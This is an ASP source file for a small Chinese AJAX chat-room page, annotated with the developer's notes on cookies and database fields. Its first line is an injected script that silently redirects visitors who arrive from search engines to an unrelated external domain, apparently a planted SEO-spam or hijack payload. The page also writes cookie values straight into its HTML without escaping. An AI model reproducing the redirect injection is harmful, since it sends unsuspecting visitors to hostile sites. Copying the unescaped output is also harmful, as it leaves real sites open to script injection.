d:\wwwroot\wuchunhua\kk\index.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
003:
<html xmlns="http://www.w3.org/1999/xhtml">
004:
<head>
005:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
006:
<title>一直发发网 1z88.com严禁违法言论,否则一律提交政府部门。AJAX无刷新聊天室 自动存入数据库 </title>
007:
</head>
008:
009:
<body onload="jss();">
010:
<p>
<!--webbot bot="PurpleText" PREVIEW="conn.asp先运行,打开db。mdb文件" -->
</p>
011:
<p>
<!--webbot bot="PurpleText" PREVIEW="执行完毕页面后,再运行js。js文件里面的function:jss()" -->
</p>
012:
013:
<p><a href="http://1z88.com">回首页 </a> 我的cookies_user是:
<%
=request.Cookies("user")
%
> <a href="http://1z88.com/登录记住我" title="登陆记住我">登录</a>我的cookies_name登陆总数据库是:
<%
=request.Cookies("name")
%
>
014:
015:
<%
016:
if request.Cookies("user")="" then
017:
sql="insert into tt(username) values('"&now()&"')"
018:
'??????错误在这里? 如果表单的cookies是user是空的,本应弹出到登陆界面的:那么填入tt表格的(username)的时间为现在now() :改为存入tt表的数值为tt(username):原来是sql="insert into us(us) values('"&now()&"')"
019:
020:
'response.Write sql
021:
conn.execute(sql)
022:
set rs=server.CreateObject("adodb.recordset")
023:
'测试失败:没有username这个表:rs.open "select * from username",conn,1,1
024:
rs.open "select * from tt",conn,1,1
025:
'打开数据库从username里面 原文是rs.open "select * from us",conn,1,1
026:
027:
'我写的:应是错误的:response.Cookies("user")=now()
028:
'得到cookies的user用户是 现在时间:吴春华增加&"时间"&now 原版是:"时间的游客"&rs.recordcount+1
029:
rs.close
030:
end if
031:
%
>
032:
</p>
033:
<p>
034:
<Script language="javascript" src="js.js"></script>
035:
状态(最新十条信息,<a href="http://1z88.com/liaotiana5/列表.asp" title="打开:http://1z88.com/liaotiana5/列表.asp">点击打开全部聊天信息列表聊天记录列表</a>
036:
<!--webbot bot="PurpleText" PREVIEW="吴春华增加的" -->
):<span id="zt"></span>
<!--webbot bot="PurpleText" PREVIEW="就是把CSS里设置好的样式读出出来:但是没有zt这个样式" -->
037:
<div id="tt"></div>
038:
<p>
039:
<!--webbot bot="PurpleText" PREVIEW="这个是CSS的写法,tt是一个CSS样式 :tt改为ttalk 应是无法存入:tt应是表格名字:原来 '状态:<span id="zt"></span><div id="tt"></div>" -->
040:
041:
<textarea name="textarea" id="textarea" onpropertychange="this.scrollTop=this.scrollHeight" onfocus="this.scrollTop=this.scrollHeight" readonly="readonly" cols="60" rows="20" ></textarea>
042:
</p>
043:
<p>我的好友列表:</p>
044:
<form id="form1" name="form1" method="post" action="">
045:
<label>
046:
<textarea name="textarea2"></textarea>
047:
</label>
048:
<label>搜索好友
049:
<input type="submit" name="Submit" value="提交" />
050:
</label>
051:
</form>
052:
<table width="200" border="1">
053:
<tr>
054:
<td> </td>
055:
<td> </td>
056:
<td> </td>
057:
</tr>
058:
<tr>
059:
<td> </td>
060:
<td> </td>
061:
<td> </td>
062:
</tr>
063:
<tr>
064:
<td> </td>
065:
<td> </td>
066:
<td> </td>
067:
</tr>
068:
</table>
069:
<br />
070:
<!--webbot bot="PurpleText" PREVIEW="文本区域20行,名字和id都是textarea" -->
071:
名字(cookies的user值):
072:
<input type="text" name="username" id="username" value="
<%
=request.Cookies("user")
%
>" />
073:
名字(cookies的name已经登陆值):
074:
<input type="text" name="cookies_name" id="cookies_name" value="
<%
=request.Cookies("name")
%
>" />
075:
<!--webbot bot="PurpleText" PREVIEW=" 原文是us的改为username: id是us改为username 数值value=cookies的user;" -->
076:
077:
078:
对
079:
<form>
080:
<select name="sayto">
081:
<option value="
<%
=request.Cookies("user")
%
>" selected="selected">好友:变量cookies_user</option>
082:
<option value="大家">大家</option>
083:
<option value="wucunhua">好友:wucunhua</option>
084:
<option value="wu">陌生人:wu</option>
085:
<option value="始兴群">群友:始兴群</option>
086:
</select>
087:
</form>
088:
089:
090:
091:
092:
</select>说:
093:
对<input type="text" name="towho" id="towho" value="大家" />》说:
094:
<!--原文是:webbot bot="PurpleText" PREVIEW="name的dui改为towho 原文是: 对<input type="text" name="dui" id="towho" value="大家" />》说:" -->
<br />
095:
严禁违法言论,否则一律提交政府部门!
096:
<!--webbot bot="PurpleText" PREVIEW="吴春华增加的" -->
097:
<br />
098:
<input name="username" type="text" id="username" onkeydown="if(event.keyCode==13) jsc();" size="60"/>
099:
<!--webbot bot="PurpleText" PREVIEW="t改为username:原文是:<input name="t" type="text" id="t" onkeydown="if(event.keyCode==13) jsc();" size="60"/>" -->
100:
101:
<input type="button" onclick="jsc();" name="button" id="button" value="发送" />
<!--webbot bot="PurpleText" PREVIEW="点击发送按钮:运行js。js的jsc功能" -->
102:
103:
<input type="button" name="button2" id="button2" onclick="cclse()" value="清屏" />
104:
<p>
<!--webbot bot="PurpleText" PREVIEW="点击清屏按钮:运行js。js的cclse功能" -->
</p>
105:
</p>
106:
107:
(不公开发送)我的ip:<input type="text" style="border:1px;border-bottom-style:none;border-top-style:none;border-left-style:none;border-right-style:none;" name="IP" id="IP" value="
<%
=Request.ServerVariables("REMOTE_ADDR")
%
>" /> <br />
108:
<!--webbot bot="PurpleText" PREVIEW="无边框Input:<input type="text" style="border:1px;border-bottom-style:none;border-top-style:none;border-left-style:none;border-right-style:none;"> " -->
109:
110:
(不公开发送)我的cookies的user值:<input type="text" name="MAC" id="MAC" value="
<%
=request.Cookies("user")
%
>" /><br />
111:
112:
113:
</body>
114:
</html>
115:
116: